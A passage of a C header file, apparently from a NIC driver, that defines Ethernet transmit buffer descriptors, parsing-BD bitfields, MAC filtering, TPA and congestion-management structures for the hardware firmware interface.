Buffer Descriptor $$KEEP_ENDIANNESS$$ */ struct eth_tx_start_bd { uint64_t addr; uint16_t nbd /* Num of BDs in packet: include parsInfoBD, Relevant in START(only in Everest) */; uint16_t nbytes /* Size of the data represented by the BD */; uint16_t vlan_or_ethertype /* Vlan structure: vlan_id is in lsb, then cfi and then priority vlan_id 12 bits (lsb), cfi 1 bit, priority 3 bits. In E2, this field should be set with etherType for VFs with no vlan */; struct eth_tx_bd_flags bd_flags; uint8_t general_data; #define ETH_TX_START_BD_HDR_NBDS (0xF<<0) /* BitField general_data contains the number of BDs that contain Ethernet/IP/TCP headers, for full/partial LSO modes */ #define ETH_TX_START_BD_HDR_NBDS_SHIFT 0 #define ETH_TX_START_BD_FORCE_VLAN_MODE (0x1<<4) /* BitField general_data force vlan mode according to bds (vlan mode can change accroding to global configuration) */ #define ETH_TX_START_BD_FORCE_VLAN_MODE_SHIFT 4 #define ETH_TX_START_BD_PARSE_NBDS (0x3<<5) /* BitField general_data Determines the number of parsing BDs in packet. Number of parsing BDs in packet is (parse_nbds+1). */ #define ETH_TX_START_BD_PARSE_NBDS_SHIFT 5 #define ETH_TX_START_BD_TUNNEL_EXIST (0x1<<7) /* BitField general_data set in case of tunneling encapsulated packet */ #define ETH_TX_START_BD_TUNNEL_EXIST_SHIFT 7 }; /* * Tx parsing BD structure for ETH E1h $$KEEP_ENDIANNESS$$ */ struct eth_tx_parse_bd_e1x { uint16_t global_data; #define ETH_TX_PARSE_BD_E1X_IP_HDR_START_OFFSET_W (0xF<<0) /* BitField global_data IP header Offset in WORDs from start of packet */ #define ETH_TX_PARSE_BD_E1X_IP_HDR_START_OFFSET_W_SHIFT 0 #define ETH_TX_PARSE_BD_E1X_ETH_ADDR_TYPE (0x3<<4) /* BitField global_data marks ethernet address type (use enum eth_addr_type) */ #define ETH_TX_PARSE_BD_E1X_ETH_ADDR_TYPE_SHIFT 4 #define ETH_TX_PARSE_BD_E1X_PSEUDO_CS_WITHOUT_LEN (0x1<<6) /* BitField global_data */ #define ETH_TX_PARSE_BD_E1X_PSEUDO_CS_WITHOUT_LEN_SHIFT 6 #define ETH_TX_PARSE_BD_E1X_LLC_SNAP_EN (0x1<<7) /* BitField global_data */ #define ETH_TX_PARSE_BD_E1X_LLC_SNAP_EN_SHIFT 7 #define ETH_TX_PARSE_BD_E1X_NS_FLG (0x1<<8) /* BitField global_data an optional addition to ECN that protects against accidental or malicious concealment of marked packets from the TCP sender. */ #define ETH_TX_PARSE_BD_E1X_NS_FLG_SHIFT 8 #define ETH_TX_PARSE_BD_E1X_RESERVED0 (0x7F<<9) /* BitField global_data reserved bit, should be set with 0 */ #define ETH_TX_PARSE_BD_E1X_RESERVED0_SHIFT 9 uint8_t tcp_flags; #define ETH_TX_PARSE_BD_E1X_FIN_FLG (0x1<<0) /* BitField tcp_flagsState flags End of data flag */ #define ETH_TX_PARSE_BD_E1X_FIN_FLG_SHIFT 0 #define ETH_TX_PARSE_BD_E1X_SYN_FLG (0x1<<1) /* BitField tcp_flagsState flags Synchronize sequence numbers flag */ #define ETH_TX_PARSE_BD_E1X_SYN_FLG_SHIFT 1 #define ETH_TX_PARSE_BD_E1X_RST_FLG (0x1<<2) /* BitField tcp_flagsState flags Reset connection flag */ #define ETH_TX_PARSE_BD_E1X_RST_FLG_SHIFT 2 #define ETH_TX_PARSE_BD_E1X_PSH_FLG (0x1<<3) /* BitField tcp_flagsState flags Push flag */ #define ETH_TX_PARSE_BD_E1X_PSH_FLG_SHIFT 3 #define ETH_TX_PARSE_BD_E1X_ACK_FLG (0x1<<4) /* BitField tcp_flagsState flags Acknowledgment number valid flag */ #define ETH_TX_PARSE_BD_E1X_ACK_FLG_SHIFT 4 #define ETH_TX_PARSE_BD_E1X_URG_FLG (0x1<<5) /* BitField tcp_flagsState flags Urgent pointer valid flag */ #define ETH_TX_PARSE_BD_E1X_URG_FLG_SHIFT 5 #define ETH_TX_PARSE_BD_E1X_ECE_FLG (0x1<<6) /* BitField tcp_flagsState flags ECN-Echo */ #define ETH_TX_PARSE_BD_E1X_ECE_FLG_SHIFT 6 #define ETH_TX_PARSE_BD_E1X_CWR_FLG (0x1<<7) /* BitField tcp_flagsState flags Congestion Window Reduced */ #define ETH_TX_PARSE_BD_E1X_CWR_FLG_SHIFT 7 uint8_t ip_hlen_w /* IP header length in WORDs */; uint16_t total_hlen_w /* IP+TCP+ETH */; uint16_t tcp_pseudo_csum /* Checksum of pseudo header with length field=0 */; uint16_t lso_mss /* for LSO mode */; uint16_t ip_id /* for LSO mode */; uint32_t tcp_send_seq /* for LSO mode */; }; /* * Tx parsing BD structure for ETH E2 $$KEEP_ENDIANNESS$$ */ struct eth_tx_parse_bd_e2 { union eth_mac_addr_or_tunnel_data data /* union for mac addresses and for tunneling data. considered as tunneling data only if (tunnel_exist == 1). */; uint32_t parsing_data; #define ETH_TX_PARSE_BD_E2_L4_HDR_START_OFFSET_W (0x7FF<<0) /* BitField parsing_data TCP/UDP header Offset in WORDs from start of packet */ #define ETH_TX_PARSE_BD_E2_L4_HDR_START_OFFSET_W_SHIFT 0 #define ETH_TX_PARSE_BD_E2_TCP_HDR_LENGTH_DW (0xF<<11) /* BitField parsing_data TCP header size in DOUBLE WORDS */ #define ETH_TX_PARSE_BD_E2_TCP_HDR_LENGTH_DW_SHIFT 11 #define ETH_TX_PARSE_BD_E2_IPV6_WITH_EXT_HDR (0x1<<15) /* BitField parsing_data a flag to indicate an ipv6 packet with extension headers. If set on LSO packet, pseudo CS should be placed in TCP CS field without length field */ #define ETH_TX_PARSE_BD_E2_IPV6_WITH_EXT_HDR_SHIFT 15 #define ETH_TX_PARSE_BD_E2_LSO_MSS (0x3FFF<<16) /* BitField parsing_data for LSO mode */ #define ETH_TX_PARSE_BD_E2_LSO_MSS_SHIFT 16 #define ETH_TX_PARSE_BD_E2_ETH_ADDR_TYPE (0x3<<30) /* BitField parsing_data marks ethernet address type (use enum eth_addr_type) */ #define ETH_TX_PARSE_BD_E2_ETH_ADDR_TYPE_SHIFT 30 }; /* * Tx 2nd parsing BD structure for ETH packet $$KEEP_ENDIANNESS$$ */ struct eth_tx_parse_2nd_bd { uint16_t global_data; #define ETH_TX_PARSE_2ND_BD_IP_HDR_START_OUTER_W (0xF<<0) /* BitField global_data Outer IP header offset in WORDs (16-bit) from start of packet */ #define ETH_TX_PARSE_2ND_BD_IP_HDR_START_OUTER_W_SHIFT 0 #define ETH_TX_PARSE_2ND_BD_RESERVED0 (0x1<<4) /* BitField global_data should be set with 0 */ #define ETH_TX_PARSE_2ND_BD_RESERVED0_SHIFT 4 #define ETH_TX_PARSE_2ND_BD_LLC_SNAP_EN (0x1<<5) /* BitField global_data */ #define ETH_TX_PARSE_2ND_BD_LLC_SNAP_EN_SHIFT 5 #define ETH_TX_PARSE_2ND_BD_NS_FLG (0x1<<6) /* BitField global_data an optional addition to ECN that protects against accidental or malicious concealment of marked packets from the TCP sender. */ #define ETH_TX_PARSE_2ND_BD_NS_FLG_SHIFT 6 #define ETH_TX_PARSE_2ND_BD_TUNNEL_UDP_EXIST (0x1<<7) /* BitField global_data Set in case UDP header exists in tunnel outer hedears. */ #define ETH_TX_PARSE_2ND_BD_TUNNEL_UDP_EXIST_SHIFT 7 #define ETH_TX_PARSE_2ND_BD_IP_HDR_LEN_OUTER_W (0x1F<<8) /* BitField global_data Outer IP header length in WORDs (16-bit). Valid only for IpV4. */ #define ETH_TX_PARSE_2ND_BD_IP_HDR_LEN_OUTER_W_SHIFT 8 #define ETH_TX_PARSE_2ND_BD_RESERVED1 (0x7<<13) /* BitField global_data should be set with 0 */ #define ETH_TX_PARSE_2ND_BD_RESERVED1_SHIFT 13 uint16_t reserved2; uint8_t tcp_flags; #define ETH_TX_PARSE_2ND_BD_FIN_FLG (0x1<<0) /* BitField tcp_flagsState flags End of data flag */ #define ETH_TX_PARSE_2ND_BD_FIN_FLG_SHIFT 0 #define ETH_TX_PARSE_2ND_BD_SYN_FLG (0x1<<1) /* BitField tcp_flagsState flags Synchronize sequence numbers flag */ #define ETH_TX_PARSE_2ND_BD_SYN_FLG_SHIFT 1 #define ETH_TX_PARSE_2ND_BD_RST_FLG (0x1<<2) /* BitField tcp_flagsState flags Reset connection flag */ #define ETH_TX_PARSE_2ND_BD_RST_FLG_SHIFT 2 #define ETH_TX_PARSE_2ND_BD_PSH_FLG (0x1<<3) /* BitField tcp_flagsState flags Push flag */ #define ETH_TX_PARSE_2ND_BD_PSH_FLG_SHIFT 3 #define ETH_TX_PARSE_2ND_BD_ACK_FLG (0x1<<4) /* BitField tcp_flagsState flags Acknowledgment number valid flag */ #define ETH_TX_PARSE_2ND_BD_ACK_FLG_SHIFT 4 #define ETH_TX_PARSE_2ND_BD_URG_FLG (0x1<<5) /* BitField tcp_flagsState flags Urgent pointer valid flag */ #define ETH_TX_PARSE_2ND_BD_URG_FLG_SHIFT 5 #define ETH_TX_PARSE_2ND_BD_ECE_FLG (0x1<<6) /* BitField tcp_flagsState flags ECN-Echo */ #define ETH_TX_PARSE_2ND_BD_ECE_FLG_SHIFT 6 #define ETH_TX_PARSE_2ND_BD_CWR_FLG (0x1<<7) /* BitField tcp_flagsState flags Congestion Window Reduced */ #define ETH_TX_PARSE_2ND_BD_CWR_FLG_SHIFT 7 uint8_t reserved3; uint8_t tunnel_udp_hdr_start_w /* Offset (in WORDs) from start of packet to tunnel UDP header. (if exist) */; uint8_t fw_ip_hdr_to_payload_w /* In IpV4, the length (in WORDs) from the FW IpV4 header start to the payload start. In IpV6, the length (in WORDs) from the FW IpV6 header end to the payload start. However, if extension headers are included, their length is counted here as well. */; uint16_t fw_ip_csum_wo_len_flags_frag /* For the IP header which is set by the FW, the IP checksum without length, flags and fragment offset. */; uint16_t hw_ip_id /* The IP ID to be set by HW for LSO packets in tunnel mode. */; uint32_t tcp_send_seq /* The TCP sequence number for LSO packets. */; }; /* * The last BD in the BD memory will hold a pointer to the next BD memory */ struct eth_tx_next_bd { uint32_t addr_lo /* Single continuous buffer low pointer */; uint32_t addr_hi /* Single continuous buffer high pointer */; uint8_t reserved[8] /* keeps same size as other eth tx bd types */; }; /* * union for 4 Bd types */ union eth_tx_bd_types { struct eth_tx_start_bd start_bd /* the first bd in a packets */; struct eth_tx_bd reg_bd /* the common bd */; struct eth_tx_parse_bd_e1x parse_bd_e1x /* parsing info BD for e1/e1h */; struct eth_tx_parse_bd_e2 parse_bd_e2 /* parsing info BD for e2 */; struct eth_tx_parse_2nd_bd parse_2nd_bd /* 2nd parsing info BD */; struct eth_tx_next_bd next_bd /* Bd that contains the address of the next page */; }; /* * array of 13 bds as appears in the eth xstorm context */ struct eth_tx_bds_array { union eth_tx_bd_types bds[13]; }; /* * VLAN mode on TX BDs */ enum eth_tx_vlan_type { X_ETH_NO_VLAN, X_ETH_OUTBAND_VLAN, X_ETH_INBAND_VLAN, X_ETH_FW_ADDED_VLAN /* Driver should not use this! */, MAX_ETH_TX_VLAN_TYPE}; /* * Ethernet VLAN filtering mode in E1x */ enum eth_vlan_filter_mode { ETH_VLAN_FILTER_ANY_VLAN /* Don't filter by vlan */, ETH_VLAN_FILTER_SPECIFIC_VLAN /* Only the vlan_id is allowed */, ETH_VLAN_FILTER_CLASSIFY /* Vlan will be added to CAM for classification */, MAX_ETH_VLAN_FILTER_MODE}; /* * MAC filtering configuration command header $$KEEP_ENDIANNESS$$ */ struct mac_configuration_hdr { uint8_t length /* number of entries valid in this command (6 bits) */; uint8_t offset /* offset of the first entry in the list */; uint16_t client_id /* the client id which this ramrod is sent on. 5b is used. */; uint32_t echo /* echo value to be sent to driver on event ring */; }; /* * MAC address in list for ramrod $$KEEP_ENDIANNESS$$ */ struct mac_configuration_entry { uint16_t lsb_mac_addr /* 2 LSB of MAC address (should be given in big endien - driver should do hton to this number!!!) */; uint16_t middle_mac_addr /* 2 middle bytes of MAC address (should be given in big endien - driver should do hton to this number!!!) */; uint16_t msb_mac_addr /* 2 MSB of MAC address (should be given in big endien - driver should do hton to this number!!!) */; uint16_t vlan_id /* The inner vlan id (12b). Used either in vlan_in_cam for mac_valn pair or for vlan filtering */; uint8_t pf_id /* The pf id, for multi function mode */; uint8_t flags; #define MAC_CONFIGURATION_ENTRY_ACTION_TYPE (0x1<<0) /* BitField flags configures the action to be done in cam (used only is slow path handlers) (use enum set_mac_action_type) */ #define MAC_CONFIGURATION_ENTRY_ACTION_TYPE_SHIFT 0 #define MAC_CONFIGURATION_ENTRY_RDMA_MAC (0x1<<1) /* BitField flags If set, this MAC also belongs to RDMA client */ #define MAC_CONFIGURATION_ENTRY_RDMA_MAC_SHIFT 1 #define MAC_CONFIGURATION_ENTRY_VLAN_FILTERING_MODE (0x3<<2) /* BitField flags (use enum eth_vlan_filter_mode) */ #define MAC_CONFIGURATION_ENTRY_VLAN_FILTERING_MODE_SHIFT 2 #define MAC_CONFIGURATION_ENTRY_OVERRIDE_VLAN_REMOVAL (0x1<<4) /* BitField flags BitField flags 0 - can't remove vlan 1 - can remove vlan. relevant only to everest1 */ #define MAC_CONFIGURATION_ENTRY_OVERRIDE_VLAN_REMOVAL_SHIFT 4 #define MAC_CONFIGURATION_ENTRY_BROADCAST (0x1<<5) /* BitField flags BitField flags 0 - not broadcast 1 - broadcast. relevant only to everest1 */ #define MAC_CONFIGURATION_ENTRY_BROADCAST_SHIFT 5 #define MAC_CONFIGURATION_ENTRY_RESERVED1 (0x3<<6) /* BitField flags */ #define MAC_CONFIGURATION_ENTRY_RESERVED1_SHIFT 6 uint16_t reserved0; uint32_t clients_bit_vector /* Bit vector for the clients which should receive this MAC. */; }; /* * MAC filtering configuration command */ struct mac_configuration_cmd { struct mac_configuration_hdr hdr /* header */; struct mac_configuration_entry config_table[64] /* table of 64 MAC configuration entries: addresses and target table entries */; }; /* * Set-MAC command type (in E1x) */ enum set_mac_action_type { T_ETH_MAC_COMMAND_INVALIDATE, T_ETH_MAC_COMMAND_SET, MAX_SET_MAC_ACTION_TYPE}; /* * Ethernet TPA Modes */ enum tpa_mode { TPA_LRO /* LRO mode TPA */, TPA_GRO /* GRO mode TPA */, MAX_TPA_MODE}; /* * tpa update ramrod data $$KEEP_ENDIANNESS$$ */ struct tpa_update_ramrod_data { uint8_t update_ipv4 /* none, enable or disable */; uint8_t update_ipv6 /* none, enable or disable */; uint8_t client_id /* client init flow control data */; uint8_t max_tpa_queues /* maximal TPA queues allowed for this client */; uint8_t max_sges_for_packet /* The maximal number of SGEs that can be used for one packet. depends on MTU and SGE size. must be 0 if SGEs are disabled */; uint8_t complete_on_both_clients /* If set and the client has different sp_client, completion will be sent to both rings */; uint8_t dont_verify_rings_pause_thr_flg /* If set, the rings pause thresholds will not be verified by firmware. */; uint8_t tpa_mode /* TPA mode to use (LRO or GRO) */; uint16_t sge_buff_size /* Size of the buffers pointed by SGEs */; uint16_t max_agg_size /* maximal size for the aggregated TPA packets, reprted by the host */; uint32_t sge_page_base_lo /* The address to fetch the next sges from (low) */; uint32_t sge_page_base_hi /* The address to fetch the next sges from (high) */; uint16_t sge_pause_thr_low /* number of remaining sges under which, we send pause message */; uint16_t sge_pause_thr_high /* number of remaining sges above which, we send un-pause message */; }; /* * approximate-match multicast filtering for E1H per function in Tstorm */ struct tstorm_eth_approximate_match_multicast_filtering { uint32_t mcast_add_hash_bit_array[8] /* Bit array for multicast hash filtering.Each bit supports a hash function result if to accept this multicast dst address. */; }; /* * Common configuration parameters per function in Tstorm $$KEEP_ENDIANNESS$$ */ struct tstorm_eth_function_common_config { uint16_t config_flags; #define TSTORM_ETH_FUNCTION_COMMON_CONFIG_RSS_IPV4_CAPABILITY (0x1<<0) /* BitField config_flagsGeneral configuration flags configuration of the port RSS IpV4 2-tupple capability */ #define TSTORM_ETH_FUNCTION_COMMON_CONFIG_RSS_IPV4_CAPABILITY_SHIFT 0 #define TSTORM_ETH_FUNCTION_COMMON_CONFIG_RSS_IPV4_TCP_CAPABILITY (0x1<<1) /* BitField config_flagsGeneral configuration flags configuration of the port RSS IpV4 4-tupple capability */ #define TSTORM_ETH_FUNCTION_COMMON_CONFIG_RSS_IPV4_TCP_CAPABILITY_SHIFT 1 #define TSTORM_ETH_FUNCTION_COMMON_CONFIG_RSS_IPV6_CAPABILITY (0x1<<2) /* BitField config_flagsGeneral configuration flags configuration of the port RSS IpV4 2-tupple capability */ #define TSTORM_ETH_FUNCTION_COMMON_CONFIG_RSS_IPV6_CAPABILITY_SHIFT 2 #define TSTORM_ETH_FUNCTION_COMMON_CONFIG_RSS_IPV6_TCP_CAPABILITY (0x1<<3) /* BitField config_flagsGeneral configuration flags configuration of the port RSS IpV6 4-tupple capability */ #define TSTORM_ETH_FUNCTION_COMMON_CONFIG_RSS_IPV6_TCP_CAPABILITY_SHIFT 3 #define TSTORM_ETH_FUNCTION_COMMON_CONFIG_RSS_MODE (0x7<<4) /* BitField config_flagsGeneral configuration flags RSS mode of operation (use enum eth_rss_mode) */ #define TSTORM_ETH_FUNCTION_COMMON_CONFIG_RSS_MODE_SHIFT 4 #define TSTORM_ETH_FUNCTION_COMMON_CONFIG_VLAN_FILTERING_ENABLE (0x1<<7) /* BitField config_flagsGeneral configuration flags 0 - Don't filter by vlan, 1 - Filter according to the vlans specificied in mac_filter_config */ #define TSTORM_ETH_FUNCTION_COMMON_CONFIG_VLAN_FILTERING_ENABLE_SHIFT 7 #define __TSTORM_ETH_FUNCTION_COMMON_CONFIG_RESERVED0 (0xFF<<8) /* BitField config_flagsGeneral configuration flags */ #define __TSTORM_ETH_FUNCTION_COMMON_CONFIG_RESERVED0_SHIFT 8 uint8_t rss_result_mask /* The mask for the lower byte of RSS result - defines which section of the indirection table will be used. To enable all table put here 0x7F */; uint8_t reserved1; uint16_t vlan_id[2] /* VLANs of this function. VLAN filtering is determine according to vlan_filtering_enable. */; }; /* * MAC filtering configuration parameters per port in Tstorm $$KEEP_ENDIANNESS$$ */ struct tstorm_eth_mac_filter_config { uint32_t ucast_drop_all /* bit vector in which the clients which drop all unicast packets are set */; uint32_t ucast_accept_all /* bit vector in which clients that accept all unicast packets are set */; uint32_t mcast_drop_all /* bit vector in which the clients which drop all multicast packets are set */; uint32_t mcast_accept_all /* bit vector in which clients that accept all multicast packets are set */; uint32_t bcast_accept_all /* bit vector in which clients that accept all broadcast packets are set */; uint32_t vlan_filter[2] /* bit vector for VLAN filtering. Clients which enforce filtering of vlan[x] should be marked in vlan_filter[x]. The primary vlan is taken from the CAM target table. */; uint32_t unmatched_unicast /* bit vector in which clients that accept unmatched unicast packets are set */; }; /* * tx only queue init ramrod data $$KEEP_ENDIANNESS$$ */ struct tx_queue_init_ramrod_data { struct client_init_general_data general /* client init general data */; struct client_init_tx_data tx /* client init tx data */; }; /* * Three RX producers for ETH */ union ustorm_eth_rx_producers { struct { #if defined(__BIG_ENDIAN) uint16_t bd_prod /* Producer of the RX BD ring */; uint16_t cqe_prod /* Producer of the RX CQE ring */; #elif defined(__LITTLE_ENDIAN) uint16_t cqe_prod /* Producer of the RX CQE ring */; uint16_t bd_prod /* Producer of the RX BD ring */; #endif #if defined(__BIG_ENDIAN) uint16_t reserved; uint16_t sge_prod /* Producer of the RX SGE ring */; #elif defined(__LITTLE_ENDIAN) uint16_t sge_prod /* Producer of the RX SGE ring */; uint16_t reserved; #endif } prod; uint32_t raw_data[2]; }; /* * The data afex vif list ramrod need $$KEEP_ENDIANNESS$$ */ struct afex_vif_list_ramrod_data { uint8_t afex_vif_list_command /* set get, clear all a VIF list id defined by enum vif_list_rule_kind */; uint8_t func_bit_map /* the function bit map to set */; uint16_t vif_list_index /* the VIF list, in a per pf vector to add this function to */; uint8_t func_to_clear /* the func id to clear in case of clear func mode */; uint8_t echo; uint16_t reserved1; }; /* * cfc delete event data $$KEEP_ENDIANNESS$$ */ struct cfc_del_event_data { uint32_t cid /* cid of deleted connection */; uint32_t reserved0; uint32_t reserved1; }; /* * per-port SAFC demo variables */ struct cmng_flags_per_port { uint32_t cmng_enables; #define CMNG_FLAGS_PER_PORT_FAIRNESS_VN (0x1<<0) /* BitField cmng_enablesenables flag for fairness and rate shaping between protocols, vnics and COSes if set, enable fairness between vnics */ #define CMNG_FLAGS_PER_PORT_FAIRNESS_VN_SHIFT 0 #define CMNG_FLAGS_PER_PORT_RATE_SHAPING_VN (0x1<<1) /* BitField cmng_enablesenables flag for fairness and rate shaping between protocols, vnics and COSes if set, enable rate shaping between vnics */ #define CMNG_FLAGS_PER_PORT_RATE_SHAPING_VN_SHIFT 1 #define CMNG_FLAGS_PER_PORT_FAIRNESS_COS (0x1<<2) /* BitField cmng_enablesenables flag for fairness and rate shaping between protocols, vnics and COSes if set, enable fairness between COSes */ #define CMNG_FLAGS_PER_PORT_FAIRNESS_COS_SHIFT 2 #define CMNG_FLAGS_PER_PORT_FAIRNESS_COS_MODE (0x1<<3) /* BitField cmng_enablesenables flag for fairness and rate shaping between protocols, vnics and COSes (use enum fairness_mode) */ #define CMNG_FLAGS_PER_PORT_FAIRNESS_COS_MODE_SHIFT 3 #define __CMNG_FLAGS_PER_PORT_RESERVED0 (0xFFFFFFF<<4) /* BitField cmng_enablesenables flag for fairness and rate shaping between protocols, vnics and COSes reserved */ #define __CMNG_FLAGS_PER_PORT_RESERVED0_SHIFT 4 uint32_t __reserved1; }; /* * per-port rate shaping variables */ struct rate_shaping_vars_per_port { uint32_t rs_periodic_timeout /* timeout of periodic timer */; uint32_t rs_threshold /* threshold, below which we start to stop queues */; }; /* * per-port fairness variables */ struct fairness_vars_per_port { uint32_t upper_bound /* Quota for a protocol/vnic */; uint32_t fair_threshold /* almost-empty threshold */; uint32_t fairness_timeout /* timeout of fairness timer */; uint32_t reserved0; }; /* * per-port SAFC variables */ struct safc_struct_per_port { #if defined(__BIG_ENDIAN) uint16_t __reserved1; uint8_t __reserved0; uint8_t safc_timeout_usec /* timeout to stop queues on SAFC pause command */; #elif defined(__LITTLE_ENDIAN) uint8_t safc_timeout_usec /* timeout to stop queues on SAFC pause command */; uint8_t __reserved0; uint16_t __reserved1; #endif uint8_t cos_to_traffic_types[MAX_COS_NUMBER] /* translate cos to service traffics types */; uint16_t cos_to_pause_mask[NUM_OF_SAFC_BITS] /* QM pause mask for each class of service in the SAFC frame */; }; /* * Per-port congestion management variables */ struct cmng_struct_per_port { struct rate_shaping_vars_per_port rs_vars; struct fairness_vars_per_port fair_vars; struct safc_struct_per_port safc_vars; struct cmng_flags_per_port flags; }; /* * a single rate shaping counter. can be used as protocol or vnic counter */ struct rate_shaping_counter { uint32_t quota /* Quota for a protocol/vnic */; #if defined(__BIG_ENDIAN) uint16_t __reserved0; uint16_t rate /* Vnic/Protocol rate in units of Mega-bits/sec */; #elif defined(__LITTLE_ENDIAN) uint16_t rate /* Vnic/Protocol rate in units of Mega-bits/sec */; uint16_t __reserved0; #endif }; /* * per-vnic rate shaping variables */ struct rate_shaping_vars_per_vn { struct rate_shaping_counter vn_counter /* per-vnic counter */; }; /* * per-vnic fairness variables */ struct fairness_vars_per_vn { uint32_t cos_credit_delta[MAX_COS_NUMBER] /* used for incrementing the credit */; uint32_t vn_credit_delta /* used for incrementing the credit */; uint32_t __reserved0; }; /* * cmng port init state */ struct cmng_vnic { struct rate_shaping_vars_per_vn vnic_max_rate[4]; struct fairness_vars_per_vn vnic_min_rate[4]; }; /* * cmng port init state */ struct cmng_init { struct cmng_struct_per_port port; struct cmng_vnic vnic; }; /* * driver parameters for congestion management init, all rates are in Mbps */ struct cmng_init_input { uint32_t port_rate; uint16_t vnic_min_rate[4] /* rates are in Mbps */; uint16_t vnic_max_rate[4] /* rates are in Mbps */; uint16_t cos_min_rate[MAX_COS_NUMBER] /* rates are in Mbps */; uint16_t cos_to_pause_mask[MAX_COS_NUMBER]; struct cmng_flags_per_port flags; }; /* * Protocol-common command ID for slow path elements */ enum common_spqe_cmd_id { RAMROD_CMD_ID_COMMON_UNUSED, RAMROD_CMD_ID_COMMON_FUNCTION_START /* Start a function (for PFs only) */, RAMROD_CMD_ID_COMMON_FUNCTION_STOP /* Stop a function (for PFs only) */, RAMROD_CMD_ID_COMMON_FUNCTION_UPDATE /* niv update function */, RAMROD_CMD_ID_COMMON_CFC_DEL /* Delete a connection from CFC */, RAMROD_CMD_ID_COMMON_CFC_DEL_WB /* Delete a connection from CFC (with write back) */, RAMROD_CMD_ID_COMMON_STAT_QUERY /* Collect statistics counters */, RAMROD_CMD_ID_COMMON_STOP_TRAFFIC /* Stop Tx traffic (before DCB updates) */, RAMROD_CMD_ID_COMMON_START_TRAFFIC /* Start Tx traffic (after DCB updates) */, RAMROD_CMD_ID_COMMON_AFEX_VIF_LISTS /* niv vif lists */, RAMROD_CMD_ID_COMMON_SET_TIMESYNC /* Set Timesync Parameters (E3 Only) */, MAX_COMMON_SPQE_CMD_ID}; /* * Per-protocol connection types */ enum connection_type { ETH_CONNECTION_TYPE /* Ethernet */, TOE_CONNECTION_TYPE /* TOE */, RDMA_CONNECTION_TYPE /* RDMA */, ISCSI_CONNECTION_TYPE /* iSCSI */, FCOE_CONNECTION_TYPE /* FCoE */, RESERVED_CONNECTION_TYPE_0, RESERVED_CONNECTION_TYPE_1, RESERVED_CONNECTION_TYPE_2, NONE_CONNECTION_TYPE /* General- used for common slow path */, MAX_CONNECTION_TYPE}; /* * Cos modes */ enum cos_mode { OVERRIDE_COS /* Firmware deduce cos according to DCB */, STATIC_COS /* Firmware has constant queues per CoS */, FW_WRR /* Firmware keep fairness between different CoSes */, MAX_COS_MODE}; /* * Dynamic HC counters set by the driver */ struct hc_dynamic_drv_counter { uint32_t val[HC_SB_MAX_DYNAMIC_INDICES] /* 4 bytes * 4 indices = 2 lines */; }; /* * zone A per-queue data */ struct cstorm_queue_zone_data { struct hc_dynamic_drv_counter hc_dyn_drv_cnt /* 4 bytes * 4 indices = 2 lines */; struct regpair reserved[2]; }; /* * Vf-PF channel data in cstorm ram (non-triggered zone) */ struct vf_pf_channel_zone_data { uint32_t msg_addr_lo /* the message address on VF memory */; uint32_t msg_addr_hi /* the message address on VF memory */; }; /* * zone for VF non-triggered data */ struct non_trigger_vf_zone { struct vf_pf_channel_zone_data vf_pf_channel /* vf-pf channel zone data */; }; /* * Vf-PF channel trigger zone in cstorm ram */ struct vf_pf_channel_zone_trigger { uint8_t addr_valid /* indicates that a vf-pf message is pending. MUST be set AFTER the message address. */; }; /* * zone that triggers the in-bound interrupt */ struct trigger_vf_zone { #if defined(__BIG_ENDIAN) uint16_t reserved1; uint8_t reserved0; struct vf_pf_channel_zone_trigger vf_pf_channel; #elif defined(__LITTLE_ENDIAN) struct vf_pf_channel_zone_trigger vf_pf_channel; uint8_t reserved0; uint16_t reserved1; #endif uint32_t reserved2; }; /* * zone B per-VF data */ struct cstorm_vf_zone_data { struct non_trigger_vf_zone non_trigger /* zone for VF non-triggered data */; struct trigger_vf_zone trigger /* zone that triggers the in-bound interrupt */; }; /* * Dynamic host coalescing init parameters, per state machine */ struct dynamic_hc_sm_config { uint32_t threshold[3] /* thresholds of number of outstanding bytes */; uint8_t shift_per_protocol[HC_SB_MAX_DYNAMIC_INDICES] /* bytes difference of each protocol is shifted right by this value */; uint8_t hc_timeout0[HC_SB_MAX_DYNAMIC_INDICES] /* timeout for level 0 for each protocol, in units of usec */; uint8_t hc_timeout1[HC_SB_MAX_DYNAMIC_INDICES] /* timeout for level 1 for each protocol, in units of usec */; uint8_t hc_timeout2[HC_SB_MAX_DYNAMIC_INDICES] /* timeout for level 2 for each protocol, in units of usec */; uint8_t hc_timeout3[HC_SB_MAX_DYNAMIC_INDICES] /* timeout for level 3 for each protocol, in units of usec */; }; /* * Dynamic host coalescing init parameters */ struct dynamic_hc_config { struct dynamic_hc_sm_config sm_config[HC_SB_MAX_SM] /* Configuration per state machine */; }; struct e2_integ_data { #if defined(__BIG_ENDIAN) uint8_t flags; #define E2_INTEG_DATA_TESTING_EN (0x1<<0) /* BitField flags integration testing enabled */ #define E2_INTEG_DATA_TESTING_EN_SHIFT 0 #define E2_INTEG_DATA_LB_TX (0x1<<1) /* BitField flags flag indicating this connection will transmit on loopback */ #define E2_INTEG_DATA_LB_TX_SHIFT 1 #define E2_INTEG_DATA_COS_TX (0x1<<2) /* BitField flags flag indicating this connection will transmit according to cos field */ #define E2_INTEG_DATA_COS_TX_SHIFT 2 #define E2_INTEG_DATA_OPPORTUNISTICQM (0x1<<3) /* BitField flags flag indicating this connection will activate the opportunistic QM credit flow */ #define E2_INTEG_DATA_OPPORTUNISTICQM_SHIFT 3 #define E2_INTEG_DATA_DPMTESTRELEASEDQ (0x1<<4) /* BitField flags flag indicating this connection will release the door bell queue (DQ) */ #define E2_INTEG_DATA_DPMTESTRELEASEDQ_SHIFT 4 #define E2_INTEG_DATA_RESERVED (0x7<<5) /* BitField flags */ #define E2_INTEG_DATA_RESERVED_SHIFT 5 uint8_t cos /* cos of the connection (relevant only in cos transmitting connections, when cosTx is set */; uint8_t voq /* voq to return credit on. Normally equal to port (i.e. always 0 in E2 operational connections). in cos tests equal to cos. in loopback tests equal to LB_PORT (=4) */; uint8_t pbf_queue /* pbf queue to transmit on. Normally equal to port (i.e. always 0 in E2 operational connections). in cos tests equal to cos. in loopback tests equal to LB_PORT (=4) */; #elif defined(__LITTLE_ENDIAN) uint8_t pbf_queue /* pbf queue to transmit on. Normally equal to port (i.e. always 0 in E2 operational connections). in cos tests equal to cos. in loopback tests equal to LB_PORT (=4) */; uint8_t voq /* voq to return credit on. Normally equal to port (i.e. always 0 in E2 operational connections). in cos tests equal to cos. in loopback tests equal to LB_PORT (=4) */; uint8_t cos /* cos of the connection (relevant only in cos transmitting connections, when cosTx is set */; uint8_t flags; #define 